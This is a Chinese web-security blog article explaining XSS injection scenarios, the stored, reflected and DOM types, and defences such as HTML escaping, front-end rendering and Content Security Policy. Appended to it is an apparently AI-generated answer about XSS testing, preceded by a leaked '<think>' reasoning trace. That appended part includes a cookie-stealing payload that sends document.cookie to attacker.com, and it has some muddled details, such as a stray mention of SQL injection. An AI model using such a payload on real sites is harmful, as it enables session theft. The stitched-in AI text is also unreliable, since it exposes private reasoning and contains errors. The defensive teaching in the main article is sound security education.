xss漏洞原因以及如何应对

本文介绍了XSS攻击原理及防御策略,覆盖存储型、反射型和DOM型XSS,讲解了如何通过转义、前端渲染及ContentSecurityPolicy等手段防范。

场景一:获取URL参数含有脚本执行

比如我们需要获取URL中某个参数,然后输出到页面当中
比如链接是http://xxx?search="><script>alert('xss')</script>这种,我们解析search参数拼接html的之后直接用了这个参数,这个时候浏览器不知道是恶意代码,直接就执行了,

<div>
      xxx: "><script>alert('xss')</script>
</div>

这样这个脚本就会在页面上执行,显示xss
如果是input属性,也会弹


<input type="text" value=""><script>alert('xss');</script>">

这是因为浏览器把参数当作脚本执行了,我么只需要告诉浏览器这个是文本就行了。

我们使用escapeHTML进行转义就可以了。这个方法原生没有,需要我们自己实现,转成html实体字符即可。

简单方法可以做一张实体转换表。

|&|&amp;| |<|&lt;| |>|&gt;| |"|&quot;| |'|&#x27;| |/|&#x2F;|

经过转移后在html中成为这种形式,

&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;

这样就可以在浏览器中显示了,也能不会当作脚本去执行。
总结如下:

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有的限制,形成了代码片段
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险
  • 通过html转义,就可以防范此类风险

场景2:html特殊属性、JavaScript API

我们如果拿URL中参数去设置到a的href属性,也会有安全风险。
比如
http://xxx?redirectTo=javascript:alert('xss')。
我们拿到这个redirectTo参数设置到了页面的a标签href属性,就成了

<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

这样用户一点击a标签的时候就会弹出万恶的xss。
所以不仅仅是特殊字符script,连JavaScript这种也是,出现在特殊位置也会出现xss攻击。

如果我们URL判断如果不是JavaScript开头呢,但是如果输入的是JAvascript,也会中招,

我们可能会想着先小写在判断,但是攻击者往前面加了%20,其实是个空格的转义,这样又会执行被攻击。

所以最好的办法是采用白名单,判断是不是http开头或者https开头的才能通过,

场景3:JSON内嵌到html中

<script>    
    var initData = <%= data.toJSON() =%>
</script>

插入json的地方不能用html转义,因为json的"会被破坏,导致不能使用。
但是json也是不安全的

  • 当json中包含U+2028或U+2029这两个字符的时候,不能作为JavaScript的字面量使用,否则会抛出语法错误。
  • 当JSON中包含字符串</script>时,当前的script标签将会被闭合,后面的字符串内容浏览器会按照html进行解析,通过增加下一个<script>标签等方法完成注入,
    于是我们又要实现一个转义JSON的函数,对内联JSON进行转义。
|U+2028|\u2028| |U+2029|\u2029| |<|\u003c|

利用这个表对特殊字符进行转义显示,
例如代码<script>var initData = <%= escapeEmbedJSON(data.toJSON()) %></script>
总结如下:

  • html转义时比较复杂的,在不同情况下要使用不能的转移规则,
  • 应当避免自己写转义库,而应当采用成熟,业界通用的转义库。

漏洞总结

我们总结一下xss有哪些注入的方法

  • 在html中内嵌的文本中,恶意内容以script标签形成注入
  • 在内联的Javascript中,拼接的数据突破了原本的限制(字符串,变量,方法名等)
  • 在标签属性中,恶意内容包含引号,从而突破属性限制,注入其他属性或者标签
  • 在标签的href、src等属性中,包含JavaScript:等可执行代码
  • 在onload、onError、onClick等事件中,注入不受控制的代码
  • 在style属性和标签中,包含类似background-image: url("javascript:console.log(1)");新版浏览器已经可以防范
  • 在style属性和标签中,包含类似expression()的css表达式代码,新版浏览器已经可以防范

xss攻击的分类

什么是xss

cross-site Scripting(跨站脚本攻击)简称XSS,是一种代码攻击。攻击者通过在目标网站注入恶意脚本,使之在用户的浏览器上运行,利用这些恶意脚本,攻击者可获取用户的敏感信息如cookie、sessionId等,进而危害数据安全。

为了和CSS区分,我们把攻击的第一个字母改成了X,于是叫做XSS。

XSS的本质是:恶意代码未经过滤,与正常代码混在一起,浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行

而由于直接在用户的终端执行。恶意代码能够获取用户信息,或者利用这些信息冒充用户向网站发起攻击

在部分情况下,由于输入长度的限制,注入的恶意脚本比较短,但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

那么用户是通过哪种方式完成的注入呢?
不仅仅是用户ugc内容可以注入,包括url的参数都可以是攻击的来源。在处理时,以下内容都不可信

  • 来自用户的ugc信息
  • 来自第三方的链接
  • URL参数
  • POST参数
  • Referer(可能来自不可信的来源)
  • Cookie(可能来自其他子域注入)

xss分类

根据攻击的来源可以分为存储型、反射型和DOM型3种。

类型存储区插入点
存储型 XSS后端数据库HTML
反射型 XSSURLHTML
DOM 型 XSS后端数据库/前端存储/URL前端 JavaScript
  • 存储区:恶意代码存放的位置
  • 插入点:由谁取得恶意代码,并插入到网页上

存储型XSS

存储型XSS攻击步骤

  • 攻击者将恶意代码提交到目标网站的数据库中
  • 用户打开目标网站时,网站服务端将恶意代码从数据库中取出,并拼接在html中返回给浏览器
  • 用户浏览器接收到影响后解析执行,混在其中的恶意代码也被执行
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标接口执行攻击者指定的操作
    这种攻击常见于带有用户保存数据的网站功能,如论坛发帖,商品评论,用户私信等。

反射型XSS

反射型XSS的攻击步骤:

  • 攻击者构造出特殊的URL,其中包含恶意代码
  • 用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在html中返回给浏览器
  • 用户浏览器接受到响应解析执行,混在其中的恶意代码也被执行
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
    反射型XSS和存储型XSS的区别是:存储型XSS的恶意代码存在数据库中,反射型XSS恶意代码存在URL中。
    反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索,跳转等。
    由于需要用户主动打开恶意的URL才能生效,攻击者往往会结合多种手段诱导用户点击。

POST的内容也可以触发发射型XSS,只不过其触发条件比较苛刻(需要构造表单,并引导用户提交)所以不常见

DOM型XSS

攻击步骤

  • 攻击者构造出特殊的URL,其中包含恶意代码
  • 用户打开带有恶意代码的URL
  • 用户浏览器接受到响应后解析执行,前端JavaScript取出URL中的恶意代码并执行
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
    DOM型XSS和前两种的区别:DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的漏洞,而其他两种都属于服务端的安全漏洞

XSS攻击的预防

通过前面的介绍我们知道XSS攻击两大要素:

  • 攻击者恶意提交代码
  • 浏览器执行恶意代码
    针对第一个要素,我们要在用户输入阶段进行过滤

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端,这样做是否可行呢?
答案是不可行,一旦攻击者绕过前端直接让后端发送请求,就挂了。
那么换一个过滤时机,后端在写入数据库之前进行过滤,然后把安全的内容返回给前端,这样可以吗?
假设一个正常的用户输入了5 < 7这个内容,在写入数据库前,被转义,变成了5 &lt; 7
问题是,我们并不知道这个内容将要输出到哪里展示

  • 输入的内容可能同时提供给前端和客户端,而一旦经过html转义,到了客户端就变成了5 &lt; 7乱码了
  • 在前端中,不同位置的编码也不一样,
    • 当5 &lt; 7作为html拼接页面时,可以正常显示
    • 当5 &lt; 7通过ajax返回时,然后赋值给JavaScript变量时,前端得到的字符就是转义后的字符,这个内容不能直接用于自己vue等模版的展示,也不能用户内容长度的计算,不能用于标题和alert等。
      所以,输入侧过滤能够在某些情况下解决特定的xss问题,但是会引入更大的不确定性和乱码问题,在防范xss攻击时应避免此方法。

当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等内容,进行输入过滤有必要。

既然输入过滤并非完全可靠,我们就要通过防止浏览器执行恶意代码来防范xss,分为两类

  • 防止html中出现注入
  • 防止JavaScript执行时,执行恶意代码

预防存储型和反射型XSS攻击

存储型和反射型都是在服务端取出恶意代码后,插入到响应html里,攻击者恶意写的数据被内嵌到代码中,被浏览器所执行
预防这两种漏洞,有两种常见的做法

  • 改成纯前端渲染,把代码和数据分开
  • 对html做充分转义

纯前端渲染

纯前端渲染过程

  • 浏览器先夹在一个静态的html,此html中不包含任何根业务相关的数据
  • 然后浏览器执行html中的JavaScript
  • JavaScript通过ajax加载业务数据,调用dom api渲染到页面上
    在纯前端渲染的时候,我们会明确的告诉浏览器,下面要设置的内容是文本的(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会轻易的被欺骗,执行预期以外的代码了。

但纯前端渲染还需注意DOM型xss,例如onload事件和href中的JavaScript:xxx,等,请参考下文预防DOM型XSS。

在很多内部管理系统中,采用纯前端渲染师非常合适的,但对于性能要求比较高,或者有SEO需要的页面,我们仍然要面对拼接html的问题。

转义html

如果拼接html是必要的,就需要采用合适的转义库进行,对html模版各个插入点进行转义

常用的模版引擎,如ejs等,对html通常只有一个规则,就是把& < > " ’ / 这几个字符转义掉。确实能起到一定作用。但不完善。

XSS 安全漏洞简单转义是否有防护作用
HTML 标签文字内容
HTML 属性值
CSS 内联样式
内联 JavaScript
内联 JSON
跳转链接

所以要完善xss防护措施,我们要采用专门的库来解决。

预防DOM型XSS攻击

DOM型XSS攻击,实际就是网站前端不严谨,把不可信的数据当作代码执行了。
在使用.innerHTML、outHTML、document.write时要特别小心,不要把不可信数据作为html插到页面上,而尽量使用.textContent、setAttribute等

如果是使用vue、react技术栈,不是用v-html/dangerouslySetInnerHTML功能,就在前端render阶段避免innerHTML、outerHTML的xss隐患。

dom中的内联监听事件如location、onclick、onerror、onload、onmouseover等,a标签的href属性,javascript的eval setTimeout setInterval都能把字符串当作代码执行,务必避免将不可信的字符串传入api

其他xss防范措施

虽然在渲染页面和执行JavaScript时,通过谨慎的转移可以防止xss的发生,但是完全靠开发的谨慎值不够,还有一些通用方案来防范

Content Security Policy

  • 禁止加载外域代码,防止复杂的攻击
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域
  • 禁止内联脚本执行(比较严格)
  • 禁止未授权的脚本执行
  • 合理使用上报可以及时发现XSS利于尽快修复问题

输入内容长度限制

虽然不能完全阻止,但是能大大降低风险

其他安全措施

  • http-only cookie:禁止JavaScript读某些敏感cookie
  • 验证码,防止脚本冒充用户提交危险操作

xss检测

  • 使用xss攻击字符串检测
  • 使用扫描工具进行检测
<think>首先,用户的问题是关于XSS漏洞的详情和测试方法。系统指令要求我使用中文回答,结构清晰,逐步解决问题,并保证回答真实可靠。 回顾引用内容: - 引用[1]: 描述了XSS漏洞的基本流程、类型。 - 引用[2]: 描述了XSS漏洞的测试方法,包括示例攻击代码。 用户的问题是:“我想了解xss漏洞的详情以及测试方法 请问XSS漏洞详情及测试方法”。所以,我需要覆盖XSS漏洞的详情(什么是XSS、类型、危害)和测试方法。 系统指令还要求: - 行内数学表达式用$...$,但这里可能不需要数学公式,因为主题是网络安全。 - 独立公式用$$...$$单独成段,同样,可能不适用。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾添加引用标识,如[^1]。 在回答中,我需要引用提供的引用内容。引用[^1]和[^2]来自用户提供的引用。 结构化的回答: 1. 解释XSS漏洞的详情:定义、流程、类型、危害。 2. 解释测试方法:如何测试XSS漏洞,包括示例。 3. 确保引用来自[^1]和[^2]。 最后,生成相关问题。 大纲: - 介绍XSS漏洞:什么是跨站脚本攻击(XSS)。 - XSS漏洞详情: - 攻击流程:参考引用[1]。 - 类型:引用[1]提到类型,但用户只提供了"2. XSS漏洞的类型",我需要补充常见类型如反射型、存储型、DOM型。 - 危害:如窃取cookies、会话劫持等。 - XSS漏洞测试方法: - 基本测试:参考引用[2],如输入简单脚本测试是否存在漏洞。 - 正式测试:构建恶意代码示例,如document.location.href, document.cookie等。 - 工具或后台:如皮卡丘工具的使用。 - 修复方法:简要提及,因为用户提到想知道详情和测试,但引用[1]有修复方法,我可以整合。 - 生成相关问题。 确保回答真实可靠:基于提供的引用,但我也知道标准知识,XSS类型通常分为反射型、存储型和DOM型。 添加引用标识: - 在描述攻击流程时,引用[^1]。 - 在描述测试方法时,引用[^2]。 最终输出格式: - 回答部分。 - §§相关问题§§部分。 </think>### XSS漏洞详情及测试方法详解 跨站脚本攻击(XSS, Cross-Site Scripting)是一种常见的Web安全漏洞,允许攻击者在用户浏览器中注入恶意脚本代码,从而窃取敏感信息、劫持会话或执行其他恶意操作。以下我将基于提供的引用内容,结合网络安全领域的标准知识,为您详细解释XSS漏洞的详情(包括定义、攻击流程、类型和危害)以及测试方法。回答结构清晰可靠,分为两部分逐步展开。 #### 第一部分:XSS漏洞详情 1. **定义与核心概念** XSS漏洞发生在Web应用程序中未对用户输入进行充分过滤和转义时,允许恶意脚本被注入到页面中执行。这可能导致用户在不知情的情况下执行攻击者设计的代码。 2. **攻击流程** 根据引用[^1],XSS攻击的标准流程如下: - 攻击者向应用程序提交包含恶意脚本的输入(如评论表单或搜索框)。 - 应用程序未对输入进行验证、过滤或转义,直接将脚本存储(如在数据库中)或显示给其他用户。 - 当其他用户访问相关页面时,恶意脚本在他们的浏览器中执行,引发安全问题,如窃取cookies或重定向到恶意网站。 这一流程依赖于应用程序的输出处理漏洞,而非用户设备本身[^1]。 3. **XSS漏洞的类型** 引用[^1]提到XSS分为多种类型,常见分类包括: - **反射型XSS**:恶意脚本作为请求的一部分(如URL参数)直接“反射”回浏览器执行,不存储在服务器上。通常通过钓鱼链接传播。 - **存储型XSS**:恶意脚本被永久存储在服务器(如数据库),当其他用户访问受感染页面时自动执行。危害更大,影响范围广。 - **DOM型XSS**:脚本在客户端DOM环境中执行,不依赖服务器响应,通过修改页面的DOM元素触发。 这些类型均源于输入处理不当,可能导致数据泄露或会话劫持[^1]。 4. **危害与影响** XSS漏洞的危害包括: - 窃取用户cookies和会话信息,导致账户劫持。 - 重定向用户到钓鱼网站或恶意链接。 - 执行键盘记录或注入恶意软件。 严重时,可破坏用户隐私和应用程序信誉,影响数百万用户[^1]。 #### 第二部分:XSS漏洞测试方法 测试XSS漏洞旨在模拟攻击行为,验证应用程序的输入处理是否安全。测试方法分为基础测试和正式测试,参考引用[^2]。 1. **基础测试:验证漏洞存在性** - 在输入点(如留言板或搜索框)输入简单恶意脚本,例如输入`'<script>alert("XSS Test")</script>'`。 - 如果页面弹出警告框,说明存在XSS漏洞。这一步快速确认应用程序未过滤特殊字符[^2]。 示例代码: ```html ><script>alert('Test');</script> ``` 2. **正式测试:模拟攻击行为** - **构建恶意代码**:编写脚本收集敏感信息或控制用户行为。常见测试用例包括: - **重定向攻击**:使用`document.location.href`将用户重定向到恶意网站,输入如: ```javascript document.location.href='https://www.baidu.com/'; // 测试URL重定向 ``` - **Cookie窃取**:收集用户cookies并发送到攻击者服务器,输入如: ```javascript document.location.href='https://attacker.com/cookie.php?cookie=' + document.cookie; ``` 其中,攻击者通过后台(如皮卡丘工具)设置接收点,将cookies存储到数据库进行分析[^2]。 - **使用测试工具**:借助工具(如Burp Suite或皮卡丘平台)自动化测试: - 在皮卡丘等平台上,输入恶意代码后,查看后台日志验证是否收集到cookies或触发重定向。 - 检查源代码,确认SQL注入点或数据库存储漏洞[^2]。 3. **测试注意事项** - 仅在授权环境下测试,避免非法操作。 - 结合手动输入和自动化扫描工具提高覆盖率。 - 验证应用程序是否对输入进行HTML编码、转义特殊字符(如`<`, `>`)或使用内容安全策略(CSP)。 #### 修复建议 虽然非核心问题,但基于引用[^1],修复方法包括:对用户输入进行严格过滤和转义(如使用HTML实体编码),启用HTTP-only cookies,以及实施内容安全策略(CSP)。这些措施能有效阻断恶意脚本执行[^1]。 ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值